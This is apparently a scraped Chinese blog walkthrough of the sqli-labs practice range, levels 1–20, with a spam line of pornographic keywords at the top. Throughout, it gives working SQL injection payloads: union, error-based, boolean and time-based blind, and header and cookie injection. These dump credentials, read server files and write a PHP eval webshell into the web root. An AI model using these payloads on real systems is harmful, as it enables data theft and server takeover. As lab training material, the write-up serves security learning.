国产 无码 综合区,色欲AV无码国产永久播放,无码天堂亚洲国产AV,国产日韩欧美女同一区二区

sqli-labs靶場(chǎng)分析

這篇具有很好參考價(jià)值的文章主要介紹了sqli-labs靶場(chǎng)分析。希望對(duì)大家有所幫助。如果存在錯(cuò)誤或未考慮完全的地方,請(qǐng)大家不吝賜教,您也可以點(diǎn)擊"舉報(bào)違法"按鈕提交疑問(wèn)。

sqli-labs靶場(chǎng)分析

1、level1

單引號(hào)測(cè)試報(bào)錯(cuò),為單引號(hào)閉合,且顯示1多了個(gè)單引號(hào)故而為字符型注入。且未對(duì)用戶輸入進(jìn)行任何過(guò)濾。

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全
sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

且SQL語(yǔ)句錯(cuò)誤會(huì)輸出,可以使用報(bào)錯(cuò)注入

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

order by判斷表列數(shù)

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全
sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

uoion 聯(lián)合查詢,因?yàn)榫W(wǎng)頁(yè)只顯示第一張表的數(shù)據(jù),因此需要union前的語(yǔ)句為假,查出數(shù)據(jù)為空,把位置讓給第二張表顯示

判斷顯示位置

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

靶union select 1,2,3 中的2和3替換為SQL語(yǔ)句即可查詢到任意內(nèi)容,示例查詢庫(kù)名和用戶名

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

查詢數(shù)據(jù)庫(kù)中的表,下面查詢的是當(dāng)前數(shù)據(jù)庫(kù)

http://192.168.110.129/sqli-labs/Less-1/?id=-1%27union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()--+

如果要查詢其他數(shù)據(jù)庫(kù)把上面最后的database()換成相應(yīng)的庫(kù)名即可,示例:····table_schema=information_schema

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

查詢表中字段

http://192.168.110.129/sqli-labs/Less-1/?id=-1%27union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27--+

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

查字段內(nèi)容

http://192.168.110.129/sqli-labs/Less-1/?id=-1%27union%20select%201,2,group_concat(username)%20from%20users--+

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

http://192.168.110.129/sqli-labs/Less-1/?id=-1%27union%20select%201,2,concat(username,%27:%27,password)%20from%20users--+

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

SQL注入寫(xiě)入webshell,getshell

http://192.168.110.129/sqli-labs/Less-1/?id=-1%27%20union%20select%201,2,%27%3C?php%20@eval($_REQUEST[777]);?%3E%27%20into%20outfile%20%27C:\\phpstudy\\PHPTutorial\\www\\webshell.php%27%20--+

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

寫(xiě)文件前需要判斷是否有寫(xiě)權(quán)限以及絕對(duì)路徑

and (select count(*) from mysql.user)>0 /如果結(jié)果返回正常,說(shuō)明具有讀寫(xiě)權(quán)限./

and (select count() from mysql.user)>0 / 返回錯(cuò)誤,應(yīng)該是管理員給數(shù)據(jù)庫(kù)賬戶降權(quán)了*/

@@datadir 讀取數(shù)據(jù)庫(kù)路徑

@@basedir MYSQL 獲取安裝路徑

SQL讀文件,示例讀mysql配置文件

http://192.168.110.129/sqli-labs/Less-1/?id=-1%27%20union%20select%201,2,load_file(%22C:\\phpStudy\\PHPTutorial\\MySQL\\my.ini%22)%20--+

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

也可以使用報(bào)錯(cuò)注入、布爾盲注、延時(shí)注入

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

 Payload: id=1' AND 6510=6510 AND 'svdH'='svdH
 Payload: id=1' AND (SELECT 6607 FROM (SELECT(SLEEP(5)))MIbw) AND 'DBGj'='DBGj

2、level 2

報(bào)錯(cuò)顯示語(yǔ)句中多了個(gè)單引號(hào),1沒(méi)有當(dāng)作錯(cuò)誤爆出。故而是數(shù)字型(整數(shù)型)注入。

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

未對(duì)輸入的id值進(jìn)行任何過(guò)濾

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

注入手法以level基本一樣,只是id值1不用引號(hào)閉合

示例:

http://192.168.110.129/sqli-labs/Less-2/?id=-1%20union%20select%201,2,3%20--+

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

3、level 3

根據(jù)單引號(hào)測(cè)試報(bào)錯(cuò)顯示應(yīng)該為單引號(hào)和括號(hào)組合的閉合方式,且為字符型

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

依舊沒(méi)對(duì)輸入的id值做任何過(guò)濾

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

注入手法與level 1類似,不過(guò)要加上括號(hào)閉合

http://192.168.110.129/sqli-labs/Less-3/?id=-1%27)%20union%20select%201,2,database()%20--+

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

閉合后SQL語(yǔ)句如下:

  $sql="SELECT * FROM users WHERE id=('-1') union select 1,2,3 --+') LIMIT 0,1";

4、level 4

單引號(hào)測(cè)試無(wú)反應(yīng),雙引號(hào)測(cè)試報(bào)錯(cuò)如下。

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

由報(bào)錯(cuò)內(nèi)容可知為字符型注入,閉合方式為雙引號(hào)加括號(hào)

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

依舊未對(duì)輸入id值過(guò)濾,僅是加上雙引號(hào)后再拼接到SQL語(yǔ)句

注入手法與level 1類似,僅閉合方式不一樣

http://192.168.110.129/sqli-labs/Less-4/?id=-1%22)%20union%20select%201,2,database()%20--+

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

5、level 5

由單引號(hào)測(cè)試結(jié)果可知為字符型注入,單引號(hào)閉合

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

依舊沒(méi)有對(duì)輸入過(guò)濾,但沒(méi)有對(duì)查詢結(jié)果輸出。因此不能使用聯(lián)合查詢。但可是使用報(bào)錯(cuò)注入、布爾盲注、延時(shí)注入

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

注入手法與level 1類似,但不能使用聯(lián)合查詢

XPATH報(bào)錯(cuò)(5.0版本以下不支持)

使用extractvalue(),中間的select database() 可以換成任意語(yǔ)句

http://192.168.110.129/sqli-labs/Less-5/?id=-1%27and%20extractvalue(1,concat(%27^%27,(select%20database()),%27^%27))%20--+

示例:顯示所有表名

http://192.168.110.129/sqli-labs/Less-5/?id=-1%27and%20extractvalue(1,concat(%27^%27,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),%27^%27))%20--+

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

使用updatexml(),中間的語(yǔ)句也可以任意

http://192.168.110.129/sqli-labs/Less-5/?id=-1%27%20and%20updatexml(1,concat(%27^%27,(select%20version()),%27^%27),1)%20--+

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

group by重復(fù)鍵沖突(或者floor()報(bào)錯(cuò))

concat中第一個(gè)參數(shù)可以是任意SQL語(yǔ)句,如下是查數(shù)據(jù)庫(kù)名

http://192.168.110.129/sqli-labs/Less-5/?id=-1%27%20and%20(select%201%20from%20(select%20count(*),concat((select%20database()),floor(rand()*2))%20x%20from%20information_schema.tables%20group%20by%20x)a)%20--+

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

此處可以使用union寫(xiě)webshell只不過(guò)沒(méi)有回顯罷了,以下展示非union 寫(xiě)webshell的方法 。payload如下:

http://192.168.110.129/sqli-labs/Less-5/?id=1%27%20into%20outfile%20%27C:\\phpstudy\\PHPTutorial\\www\\webshell.php%27%20lines%20terminated%20by%200x3c3f70687020406576616c28245f4745545b27636d64275d293b3f3e --+

將要寫(xiě)入的一句話轉(zhuǎn)換成16進(jìn)制

拼接后SQL語(yǔ)句如下:

SELECT * FROM users WHERE id='$id' into outfile 'C:\\phpstudy\\PHPTutorial\\www\\webshell.php' lines terminated by 0x3c3f70687020406576616c28245f4745545b27636d64275d293b3f3e --+' LIMIT 0,1 

成功寫(xiě)入

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

6、level 6

單引號(hào)測(cè)試無(wú)果,雙引號(hào)測(cè)試報(bào)錯(cuò)。由報(bào)錯(cuò)可知為字符型注入,且為雙引號(hào)閉合

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

依舊未對(duì)輸入進(jìn)行過(guò)濾,僅對(duì)輸入的id加上了雙引號(hào)再拼接到SQL語(yǔ)句中。且查詢結(jié)果不顯示

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

注入方法與level 5一致,不過(guò)單引號(hào)閉合換成雙引號(hào)閉合??梢允褂脠?bào)錯(cuò)注入、延時(shí)注入和布爾盲注。

報(bào)錯(cuò)注入獲得表名

http://192.168.110.129/sqli-labs/Less-6/?id=1%22%20and%20extractvalue(1,concat(%27^%27,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),%27^%27))%20--+

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

7、level 7

單引號(hào)測(cè)試顯示語(yǔ)句有錯(cuò)但不顯示具體,雙引號(hào)測(cè)試不顯示語(yǔ)句有錯(cuò)。,單雙引號(hào)配合使用也顯示語(yǔ)句有錯(cuò)。推測(cè)程序是自定義了各種錯(cuò)誤,規(guī)避了報(bào)錯(cuò)注入。

當(dāng)用1‘))閉合時(shí)才正常顯示。

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

分析源代碼發(fā)現(xiàn)確實(shí)如此

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

只能使用延時(shí)注入和布爾盲注。以下演示布爾盲注,延時(shí)注入與布爾盲注類似,延時(shí)注入要加if判斷而已。

獲取數(shù)據(jù)庫(kù)長(zhǎng)度

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全
sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全
sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

依次獲取數(shù)據(jù)庫(kù)名中單個(gè)字符,一般轉(zhuǎn)化為ascll碼

http://192.168.110.129/sqli-labs/Less-7/?id=1%27))%20and%20ascii(substr(database(),1,1))=1%20--+
參數(shù)說(shuō)明:
Length()函數(shù) 返回字符串的長(zhǎng)度
Substr()截取字符串,三個(gè)參數(shù)依次為要截取的字符串、截取位置(第幾個(gè))、要截取個(gè)數(shù)
Ascii()返回字符的ascii碼
sleep(n):將程序掛起一段時(shí)間 n為n秒
if(expr1,expr2,expr3):判斷語(yǔ)句 如果第一個(gè)語(yǔ)句正確就執(zhí)行第二個(gè)語(yǔ)句如果錯(cuò)誤執(zhí)行第三個(gè)語(yǔ)句

也可以不轉(zhuǎn)換為ascll碼

and mid(database(),1,1)=‘d’ # 判斷單個(gè)字符
and substr(database(),1,1)=‘d’ # 判斷單個(gè)字符
and ord(substr((select database()),1,1))=98 # 使用ascii碼判斷單個(gè)字符
and ascii(substr((select database()),1,1))=98 # 使用ascii判斷單個(gè)字符
and left(database(),4)=‘dvwa’ # 判斷一個(gè)字符串,即多個(gè)字符

這類注入一般都使用工具使用sqlmap或者是Burp。也可以自己寫(xiě)腳本。

使用burp得到數(shù)據(jù)庫(kù)名的ascii碼值,對(duì)照ascii表得到數(shù)據(jù)庫(kù)名:security

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全
sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

由于windows系統(tǒng)對(duì)大小寫(xiě)不敏感,所以不轉(zhuǎn)ascii碼無(wú)法正確判斷數(shù)據(jù)庫(kù)名的大小寫(xiě)問(wèn)題

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

獲得數(shù)據(jù)庫(kù)第一個(gè)表的長(zhǎng)度,得到長(zhǎng)度等于6

and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>0

參數(shù)說(shuō)明:limit后面的0表順序第1位,1表個(gè)數(shù),1個(gè)結(jié)果

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

依次獲得表名,,也可以轉(zhuǎn)換為ascii碼

and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='a'

第一個(gè):emails

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

第四個(gè)(修改limit 3,1):表長(zhǎng)5,表名:users

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

獲得字段名

and ascii(substr((select column_name from information_schema.columns where table_name=0x656d61696c73 limit 0,1),1,1))=60

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全
sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

寫(xiě)文件方法就任意了

提示有錯(cuò)但webshell已經(jīng)寫(xiě)進(jìn)去了
http://192.168.110.129/sqli-labs/Less-7/?id=1%27))%20into%20outfile%20%27C:\\phpstudy\\PHPTutorial\\www\\webshell.php%27%20lines%20terminated%20by%200x3c3f70687020406576616c28245f4745545b27636d64275d293b3f3e%20--+
拼接后SQL注入語(yǔ)句如下:
SELECT * FROM users WHERE id=(('$id')) into outfile 'C:\\phpstudy\\PHPTutorial\\www\\webshell.php' lines terminated by 0x3c3f70687020406576616c28245f4745545b27636d64275d293b3f3e --+')) LIMIT 0,1 

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全
sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

8、level 8

單引號(hào)測(cè)試,頁(yè)面不正常無(wú)輸出。輸入雙引號(hào)頁(yè)面正常與輸入id值1頁(yè)面一致。推測(cè)為單引號(hào)閉合方式。

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

依舊沒(méi)有對(duì)輸入進(jìn)行任何過(guò)濾且查詢結(jié)果和sql錯(cuò)誤都不顯示。

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

注入手法可以使用布爾盲注和延時(shí)注入,與level 7類似。不過(guò)這里正確是頁(yè)面顯示You are in… ,錯(cuò)誤則頁(yè)面不顯示

http://192.168.110.129/sqli-labs/Less-8/?id=1%27%20and%20if((length(database())=8),sleep(5),1)--+

參數(shù)說(shuō)明:
if(expr1,expr2,expr3):判斷語(yǔ)句 如果第一個(gè)語(yǔ)句正確就執(zhí)行第二個(gè)語(yǔ)句如果錯(cuò)誤執(zhí)行第三個(gè)語(yǔ)句

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

對(duì)比布爾盲注,延時(shí)注入的判別標(biāo)準(zhǔn)是觀察響應(yīng)是否延時(shí)。注入方法與布爾盲注非常相似。

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

獲取第一個(gè)表名:emails

http://192.168.110.129/sqli-labs/Less-8/?id=1%27%20and%20if((substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),1,1)=%27e%27),sleep(5),1)%20--+

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

9、level 9

直接使用單雙引號(hào)括號(hào)等測(cè)試,頁(yè)面無(wú)變化。在測(cè)試符號(hào)后面添加and sleep(5) --+,如果成功閉合前面的語(yǔ)句,則會(huì)執(zhí)行sleep(5),利用延時(shí)注入的原理判斷閉合方式。

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全
sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

可以看出單引號(hào)成功閉合

查看源代碼發(fā)現(xiàn)對(duì)于輸入的id值沒(méi)有任何過(guò)濾,閉合方式為單引號(hào),查詢結(jié)果不顯示,SQL語(yǔ)句錯(cuò)誤與否頁(yè)面顯示內(nèi)容不變

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

因?yàn)轫?yè)面顯示無(wú)差異,且查詢結(jié)果和報(bào)錯(cuò)不顯示在頁(yè)面,因此只能使用延時(shí)注入。注入方法與level 8 延時(shí)注入一致

判斷字符串長(zhǎng)度

http://192.168.110.129/sqli-labs/Less-9/?id=1%27%20and%20if(length(database())=8,sleep(5),1)%20--+

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

10、level 10

測(cè)試情況與level 9類似,測(cè)得閉合方式為雙引號(hào)

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

源代碼與level 9差不多,就單單閉合方式不一樣。

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

查詢結(jié)果和報(bào)錯(cuò)都顯示,頁(yè)面無(wú)差異化。只能使用延時(shí)注入

查詢數(shù)據(jù)庫(kù)長(zhǎng)度

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

注入過(guò)程參照l(shuí)evel 7 和level 8

11、level 11

頁(yè)面是一個(gè)登錄框,對(duì)uname和passwd參數(shù)進(jìn)行單引號(hào)測(cè)試引起報(bào)錯(cuò)。由報(bào)錯(cuò)內(nèi)容可知為單引號(hào)閉合

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

查看源代碼,發(fā)現(xiàn)未對(duì)輸入的umane和passwd參數(shù)進(jìn)行過(guò)濾,且如果輸入正確(登陸成功)會(huì)將查詢結(jié)果輸出到頁(yè)面,兩個(gè)參數(shù)都可以注入。

可以使用聯(lián)合查詢、延時(shí)注入、布爾盲注和延時(shí)注入。聯(lián)合查詢注入過(guò)程可以參照l(shuí)evel 1

order by查詢表列數(shù)

Dumb ' order by 2 #
Dumb 

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全
sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

得到列為2

判斷顯示位置

' union select 1,2 #
Dumb

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

查詢數(shù)據(jù)庫(kù)名

' union select 1,database() #
Dumb

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

查數(shù)據(jù)庫(kù)表名

' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
Dumb

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

寫(xiě)webshell

' union select 1, '<?php%20@eval($_REQUEST[777]);?>' into outfile 'C:\\phpstudy\\PHPTutorial\\www\\webshell.php' #
Dumb

成功寫(xiě)入

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

讀文件:讀取mysql配置文件

' union select 1,load_file('C:\\phpStudy\\PHPTutorial\\MySQL\\my.ini') #
Dumb

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

其他注入手法

報(bào)錯(cuò)注入payload
Dumb ' and extractvalue(1,concat('^',(select database()),'^')) #
Dumb
延時(shí)注入payload
Dumb ' and if((length(database())=8),sleep(5),1) #
Dumb 
布爾盲注payload
Dumb ' and length(database())=8 #
Dumb 

**注意:**布爾盲注如果and后面語(yǔ)句成立的話會(huì)直接登錄。這就是萬(wàn)能密碼的原理

12、level 12

雙引號(hào)括號(hào)測(cè)試報(bào)錯(cuò),由報(bào)錯(cuò)可知為雙引號(hào)括號(hào)閉合

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

源代碼與level 11類似,除了閉合方式不一樣

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

注入手法也與level 11,差不多聯(lián)合查詢、報(bào)錯(cuò)注入、延時(shí)注入和布爾盲注都可,但要注意閉合方式

查詢數(shù)據(jù)庫(kù)名

") union select 1,database() #
Dumb

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

13、level 13

單引號(hào)測(cè)試報(bào)錯(cuò),由報(bào)錯(cuò)結(jié)果可知為單引號(hào)加括號(hào)的閉合方式

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

源代碼與level 11 類似,除了閉合方式不一樣外,用戶名和密碼正確登錄后不會(huì)顯示查詢結(jié)果。所以這里不能使用聯(lián)合查詢的方式注入??梢允褂脠?bào)錯(cuò)注入、延時(shí)注入和布爾盲注

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

使用報(bào)錯(cuò)注入獲取所有表名

Dumb ') and extractvalue(1,concat('^',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'^')) #
Dumb

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

報(bào)錯(cuò)注入具體過(guò)程可以參照l(shuí)evel 5

14、level 14

雙引號(hào)測(cè)試報(bào)錯(cuò),由報(bào)錯(cuò)提示可知為雙引號(hào)閉合方式

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

源代與level 13差不多,除了閉合方式外。成功登錄后不顯示查詢結(jié)果因此也不能使用聯(lián)合查詢。

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

可以使用報(bào)錯(cuò)注入、延時(shí)注入和布爾盲注??梢詤⒄誰(shuí)evel 11

報(bào)錯(cuò)注入獲取所有表名

Dumb " and extractvalue(1,concat('^',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'^')) #
Dumb

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

15、level 15

測(cè)試情況與level 9類似,同樣不輸出報(bào)錯(cuò)。在測(cè)試符號(hào)后面加上and sleep(5) #。測(cè)得閉合方式為單引號(hào)

Dumb ' and sleep(5) #
Dumb

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

源代碼注釋掉了打印sql錯(cuò)誤的語(yǔ)句,且登錄后也不顯示查詢結(jié)果。所以只能使用延時(shí)注入和布爾盲注,具體參照l(shuí)evel 7和level 9

延時(shí)注入判斷數(shù)據(jù)庫(kù)名長(zhǎng)度為8

Dumb ' and if((length(database())=8),sleep(5),1) #
Dumb

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

布爾盲注判斷數(shù)據(jù)庫(kù)名長(zhǎng)度,成功登錄,長(zhǎng)度為8

Dumb ' and length(database())=8 #
Dumb

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

16、level 16

測(cè)試同樣不顯示報(bào)錯(cuò),可以像level 15一樣使用sleep。其實(shí)還可以使用加上and 1=1 # ,如果猜對(duì)了閉合方式就可以登錄,level 15也是。

測(cè)試得到閉合方式為雙引號(hào)括號(hào)

Dumb ") and 1=1 #
Dumb

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

源代碼除了采用雙引號(hào)括號(hào)的閉合方式外,與level 15一致。只能使用布爾盲注和延時(shí)注入獲得數(shù)據(jù)。

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

具體注入?yún)⒄誰(shuí)evel 15

17、level 17

單引號(hào)測(cè)試發(fā)現(xiàn),uname參數(shù)好像無(wú)法注入,一旦加上測(cè)試語(yǔ)句會(huì)返回一條嘲諷的的話“bug of you silly dumb hacker”即“你這個(gè)愚蠢愚蠢的黑客”。但passwd可以,單引號(hào)測(cè)試報(bào)錯(cuò)。由報(bào)錯(cuò)結(jié)果可知為單引號(hào)閉合。

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

查看源碼發(fā)現(xiàn),對(duì)輸入的uname參數(shù)值傳入了check_input 函數(shù)

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

這個(gè)函數(shù)截取輸入值的前15位,并轉(zhuǎn)義特殊符號(hào)或強(qiáng)制轉(zhuǎn)化為整數(shù)類型。

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

passwd參數(shù)沒(méi)有傳入檢查函數(shù),程序會(huì)將sql錯(cuò)誤輸出到頁(yè)面,可以使用報(bào)錯(cuò)注入

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

爆錯(cuò)注入獲取表名

Dumb
Dumb ' and extractvalue(1,concat('^',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'^')) #

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

18、level 18

對(duì)用戶名和密碼測(cè)試后沒(méi)有什么發(fā)現(xiàn),看到頁(yè)面顯示you ip address is:192.168.110.1 。猜測(cè)注入點(diǎn)可能在http請(qǐng)求頭那個(gè)位置。

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

當(dāng)用戶名和密碼輸入正確后,頁(yè)面會(huì)顯示UA信息

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

大概率注入點(diǎn)就在UA處了,在User-Agent參數(shù)處測(cè)得存在注入,閉合方式為單引號(hào)。

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

查看源碼,uname和passwd都傳入了檢查函數(shù)。

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

ua和ip的值是直接獲取

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

而且需要用戶名和密碼正確才會(huì)進(jìn)入到UA參數(shù)所在的SQL語(yǔ)句中。

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

這里可以使用報(bào)錯(cuò)注入

1',1,extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)))#

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

19、level 19

與level 18類似,登錄后頁(yè)面多顯示了Referer信息,注入點(diǎn)應(yīng)該是它了

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

測(cè)得閉合方式為單引號(hào)

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

對(duì)于Referer依舊未做任何過(guò)濾

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全
sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

可以使用報(bào)錯(cuò)注入

1',extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)))#

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

20、level 20

登錄后可以看出,這里的注入應(yīng)該與cookie有關(guān)

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

抓包測(cè)試,測(cè)得為單引號(hào)閉合方式

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

對(duì)于uname和paswd參數(shù)依舊是傳入檢查函數(shù),除cookie外在無(wú)任何參數(shù)插入到了SQL語(yǔ)句中去。

